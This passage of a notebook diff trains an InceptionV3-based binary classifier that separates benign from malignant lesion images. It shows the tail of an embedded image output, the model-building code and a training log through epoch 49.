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",
+            "text/plain": [
+              ""
+            ]
+          },
+          "metadata": {
+            "needs_background": "light"
+          },
+          "output_type": "display_data"
+        }
+      ],
+      "source": [
+        "batch = next(iter(valid_ds))\n",
+        "\n",
+        "def show_batch(batch):\n",
+        "  plt.figure(figsize=(12,12))\n",
+        "  for n in range(25):\n",
+        "      ax = plt.subplot(5,5,n+1)\n",
+        "      plt.imshow(batch[0][n])\n",
+        "      plt.title(class_names[batch[1][n].numpy()].title())\n",
+        "      plt.axis('off')\n",
+        "        \n",
+        "show_batch(batch)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 8,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "brz9lVkookRx",
+        "outputId": "c5d3f8de-9d18-4e78-bb9d-8893fe3cad07"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Model: \"sequential\"\n",
+            "_________________________________________________________________\n",
+            " Layer (type)                Output Shape              Param #   \n",
+            "=================================================================\n",
+            " keras_layer (KerasLayer)    (None, 2048)              21802784  \n",
+            "                                                                 \n",
+            " dense (Dense)               (None, 1)                 2049      \n",
+            "                                                                 \n",
+            "=================================================================\n",
+            "Total params: 21,804,833\n",
+            "Trainable params: 2,049\n",
+            "Non-trainable params: 21,802,784\n",
+            "_________________________________________________________________\n"
+          ]
+        }
+      ],
+      "source": [
+        "# building the model\n",
+        "# InceptionV3 model & pre-trained weights\n",
+        "module_url = \"https://tfhub.dev/google/tf2-preview/inception_v3/feature_vector/4/"\n",
+        "m = tf.keras.Sequential([\n",
+        "    hub.KerasLayer(module_url, output_shape=[2048], trainable=False),\n",
+        "    tf.keras.layers.Dense(1, activation=\"sigmoid\")\n",
+        "])\n",
+        "\n",
+        "m.build([None, 299, 299, 3])\n",
+        "m.compile(loss=\"binary_crossentropy\", optimizer=optimizer, metrics=[\"accuracy\"])\n",
+        "m.summary()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 9,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "uUEJ9zVKoloS",
+        "outputId": "a218a2ee-1c4f-41fc-83b7-fc603b06283f"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Epoch 1/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.4572 - accuracy: 0.7772\n",
+            "Epoch 1: val_loss improved from inf to 0.55681, saving model to benign-vs-malignant_64_rmsprop_0.557.h5\n",
+            "31/31 [==============================] - 178s 3s/step - loss: 0.4572 - accuracy: 0.7772 - val_loss: 0.5568 - val_accuracy: 0.7891\n",
+            "Epoch 2/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.4020 - accuracy: 0.8130\n",
+            "Epoch 2: val_loss improved from 0.55681 to 0.48952, saving model to benign-vs-malignant_64_rmsprop_0.490.h5\n",
+            "31/31 [==============================] - 9s 286ms/step - loss: 0.4020 - accuracy: 0.8130 - val_loss: 0.4895 - val_accuracy: 0.8125\n",
+            "Epoch 3/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3823 - accuracy: 0.8266\n",
+            "Epoch 3: val_loss improved from 0.48952 to 0.47676, saving model to benign-vs-malignant_64_rmsprop_0.477.h5\n",
+            "31/31 [==============================] - 8s 267ms/step - loss: 0.3823 - accuracy: 0.8266 - val_loss: 0.4768 - val_accuracy: 0.8047\n",
+            "Epoch 4/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3637 - accuracy: 0.8251\n",
+            "Epoch 4: val_loss did not improve from 0.47676\n",
+            "31/31 [==============================] - 8s 254ms/step - loss: 0.3637 - accuracy: 0.8251 - val_loss: 0.5025 - val_accuracy: 0.7812\n",
+            "Epoch 5/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3633 - accuracy: 0.8387\n",
+            "Epoch 5: val_loss improved from 0.47676 to 0.45733, saving model to benign-vs-malignant_64_rmsprop_0.457.h5\n",
+            "31/31 [==============================] - 9s 289ms/step - loss: 0.3633 - accuracy: 0.8387 - val_loss: 0.4573 - val_accuracy: 0.7891\n",
+            "Epoch 6/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3477 - accuracy: 0.8432\n",
+            "Epoch 6: val_loss did not improve from 0.45733\n",
+            "31/31 [==============================] - 8s 266ms/step - loss: 0.3477 - accuracy: 0.8432 - val_loss: 0.4644 - val_accuracy: 0.7734\n",
+            "Epoch 7/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3419 - accuracy: 0.8463\n",
+            "Epoch 7: val_loss did not improve from 0.45733\n",
+            "31/31 [==============================] - 9s 279ms/step - loss: 0.3419 - accuracy: 0.8463 - val_loss: 0.4624 - val_accuracy: 0.7812\n",
+            "Epoch 8/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3402 - accuracy: 0.8493\n",
+            "Epoch 8: val_loss improved from 0.45733 to 0.42326, saving model to benign-vs-malignant_64_rmsprop_0.423.h5\n",
+            "31/31 [==============================] - 9s 292ms/step - loss: 0.3402 - accuracy: 0.8493 - val_loss: 0.4233 - val_accuracy: 0.7969\n",
+            "Epoch 9/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3494 - accuracy: 0.8438\n",
+            "Epoch 9: val_loss improved from 0.42326 to 0.40612, saving model to benign-vs-malignant_64_rmsprop_0.406.h5\n",
+            "31/31 [==============================] - 9s 279ms/step - loss: 0.3494 - accuracy: 0.8438 - val_loss: 0.4061 - val_accuracy: 0.8281\n",
+            "Epoch 10/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3237 - accuracy: 0.8564\n",
+            "Epoch 10: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 260ms/step - loss: 0.3237 - accuracy: 0.8564 - val_loss: 0.4904 - val_accuracy: 0.7500\n",
+            "Epoch 11/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3242 - accuracy: 0.8543\n",
+            "Epoch 11: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.3242 - accuracy: 0.8543 - val_loss: 0.4568 - val_accuracy: 0.7891\n",
+            "Epoch 12/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3337 - accuracy: 0.8473\n",
+            "Epoch 12: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 258ms/step - loss: 0.3337 - accuracy: 0.8473 - val_loss: 0.4702 - val_accuracy: 0.8125\n",
+            "Epoch 13/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3350 - accuracy: 0.8453\n",
+            "Epoch 13: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 258ms/step - loss: 0.3350 - accuracy: 0.8453 - val_loss: 0.4289 - val_accuracy: 0.8203\n",
+            "Epoch 14/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3050 - accuracy: 0.8649\n",
+            "Epoch 14: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 258ms/step - loss: 0.3050 - accuracy: 0.8649 - val_loss: 0.4649 - val_accuracy: 0.7812\n",
+            "Epoch 15/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3208 - accuracy: 0.8553\n",
+            "Epoch 15: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 259ms/step - loss: 0.3208 - accuracy: 0.8553 - val_loss: 0.4498 - val_accuracy: 0.8203\n",
+            "Epoch 16/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3111 - accuracy: 0.8604\n",
+            "Epoch 16: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 259ms/step - loss: 0.3111 - accuracy: 0.8604 - val_loss: 0.4252 - val_accuracy: 0.7969\n",
+            "Epoch 17/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3210 - accuracy: 0.8574\n",
+            "Epoch 17: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 259ms/step - loss: 0.3210 - accuracy: 0.8574 - val_loss: 0.4702 - val_accuracy: 0.7734\n",
+            "Epoch 18/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3028 - accuracy: 0.8765\n",
+            "Epoch 18: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.3028 - accuracy: 0.8765 - val_loss: 0.4752 - val_accuracy: 0.7734\n",
+            "Epoch 19/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3036 - accuracy: 0.8669\n",
+            "Epoch 19: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 258ms/step - loss: 0.3036 - accuracy: 0.8669 - val_loss: 0.4204 - val_accuracy: 0.8125\n",
+            "Epoch 20/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3075 - accuracy: 0.8639\n",
+            "Epoch 20: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 279ms/step - loss: 0.3075 - accuracy: 0.8639 - val_loss: 0.4451 - val_accuracy: 0.7969\n",
+            "Epoch 21/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2993 - accuracy: 0.8679\n",
+            "Epoch 21: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2993 - accuracy: 0.8679 - val_loss: 0.4430 - val_accuracy: 0.7969\n",
+            "Epoch 22/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2991 - accuracy: 0.8705\n",
+            "Epoch 22: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2991 - accuracy: 0.8705 - val_loss: 0.4204 - val_accuracy: 0.8047\n",
+            "Epoch 23/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3090 - accuracy: 0.8684\n",
+            "Epoch 23: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.3090 - accuracy: 0.8684 - val_loss: 0.4201 - val_accuracy: 0.8125\n",
+            "Epoch 24/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2859 - accuracy: 0.8770\n",
+            "Epoch 24: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2859 - accuracy: 0.8770 - val_loss: 0.4652 - val_accuracy: 0.8047\n",
+            "Epoch 25/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2935 - accuracy: 0.8775\n",
+            "Epoch 25: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2935 - accuracy: 0.8775 - val_loss: 0.4515 - val_accuracy: 0.7969\n",
+            "Epoch 26/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2992 - accuracy: 0.8684\n",
+            "Epoch 26: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2992 - accuracy: 0.8684 - val_loss: 0.4439 - val_accuracy: 0.8047\n",
+            "Epoch 27/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2932 - accuracy: 0.8740\n",
+            "Epoch 27: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 260ms/step - loss: 0.2932 - accuracy: 0.8740 - val_loss: 0.4450 - val_accuracy: 0.7969\n",
+            "Epoch 28/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2705 - accuracy: 0.8891\n",
+            "Epoch 28: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 279ms/step - loss: 0.2705 - accuracy: 0.8891 - val_loss: 0.4545 - val_accuracy: 0.8281\n",
+            "Epoch 29/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.3051 - accuracy: 0.8750\n",
+            "Epoch 29: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.3051 - accuracy: 0.8750 - val_loss: 0.4320 - val_accuracy: 0.8203\n",
+            "Epoch 30/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2916 - accuracy: 0.8730\n",
+            "Epoch 30: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 276ms/step - loss: 0.2916 - accuracy: 0.8730 - val_loss: 0.4369 - val_accuracy: 0.8125\n",
+            "Epoch 31/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2837 - accuracy: 0.8735\n",
+            "Epoch 31: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 276ms/step - loss: 0.2837 - accuracy: 0.8735 - val_loss: 0.4300 - val_accuracy: 0.8047\n",
+            "Epoch 32/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2712 - accuracy: 0.8906\n",
+            "Epoch 32: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2712 - accuracy: 0.8906 - val_loss: 0.4716 - val_accuracy: 0.7578\n",
+            "Epoch 33/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2739 - accuracy: 0.8805\n",
+            "Epoch 33: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2739 - accuracy: 0.8805 - val_loss: 0.4451 - val_accuracy: 0.8047\n",
+            "Epoch 34/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2800 - accuracy: 0.8760\n",
+            "Epoch 34: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 259ms/step - loss: 0.2800 - accuracy: 0.8760 - val_loss: 0.4490 - val_accuracy: 0.7969\n",
+            "Epoch 35/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2755 - accuracy: 0.8861\n",
+            "Epoch 35: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 261ms/step - loss: 0.2755 - accuracy: 0.8861 - val_loss: 0.4165 - val_accuracy: 0.8203\n",
+            "Epoch 36/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2857 - accuracy: 0.8750\n",
+            "Epoch 36: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2857 - accuracy: 0.8750 - val_loss: 0.4541 - val_accuracy: 0.7734\n",
+            "Epoch 37/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2806 - accuracy: 0.8826\n",
+            "Epoch 37: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2806 - accuracy: 0.8826 - val_loss: 0.4556 - val_accuracy: 0.8125\n",
+            "Epoch 38/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2637 - accuracy: 0.8916\n",
+            "Epoch 38: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2637 - accuracy: 0.8916 - val_loss: 0.4860 - val_accuracy: 0.7656\n",
+            "Epoch 39/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2749 - accuracy: 0.8876\n",
+            "Epoch 39: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 260ms/step - loss: 0.2749 - accuracy: 0.8876 - val_loss: 0.4398 - val_accuracy: 0.8047\n",
+            "Epoch 40/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2701 - accuracy: 0.8926\n",
+            "Epoch 40: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2701 - accuracy: 0.8926 - val_loss: 0.4391 - val_accuracy: 0.8281\n",
+            "Epoch 41/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2720 - accuracy: 0.8846\n",
+            "Epoch 41: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 261ms/step - loss: 0.2720 - accuracy: 0.8846 - val_loss: 0.4706 - val_accuracy: 0.8125\n",
+            "Epoch 42/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2778 - accuracy: 0.8866\n",
+            "Epoch 42: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 260ms/step - loss: 0.2778 - accuracy: 0.8866 - val_loss: 0.4745 - val_accuracy: 0.7891\n",
+            "Epoch 43/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2762 - accuracy: 0.8831\n",
+            "Epoch 43: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2762 - accuracy: 0.8831 - val_loss: 0.4988 - val_accuracy: 0.8047\n",
+            "Epoch 44/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2647 - accuracy: 0.8841\n",
+            "Epoch 44: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 259ms/step - loss: 0.2647 - accuracy: 0.8841 - val_loss: 0.4365 - val_accuracy: 0.8125\n",
+            "Epoch 45/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2729 - accuracy: 0.8871\n",
+            "Epoch 45: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 260ms/step - loss: 0.2729 - accuracy: 0.8871 - val_loss: 0.4540 - val_accuracy: 0.8047\n",
+            "Epoch 46/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2540 - accuracy: 0.8977\n",
+            "Epoch 46: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 276ms/step - loss: 0.2540 - accuracy: 0.8977 - val_loss: 0.4551 - val_accuracy: 0.8203\n",
+            "Epoch 47/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2649 - accuracy: 0.8891\n",
+            "Epoch 47: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 277ms/step - loss: 0.2649 - accuracy: 0.8891 - val_loss: 0.4835 - val_accuracy: 0.7969\n",
+            "Epoch 48/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2613 - accuracy: 0.8972\n",
+            "Epoch 48: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 9s 278ms/step - loss: 0.2613 - accuracy: 0.8972 - val_loss: 0.4676 - val_accuracy: 0.7500\n",
+            "Epoch 49/100\n",
+            "31/31 [==============================] - ETA: 0s - loss: 0.2691 - accuracy: 0.8846\n",
+            "Epoch 49: val_loss did not improve from 0.40612\n",
+            "31/31 [==============================] - 8s 260ms/step - loss: 0.2691 - accuracy: 0.8846 - val_loss: 0.4488 - val_accuracy: 0.8203\n",
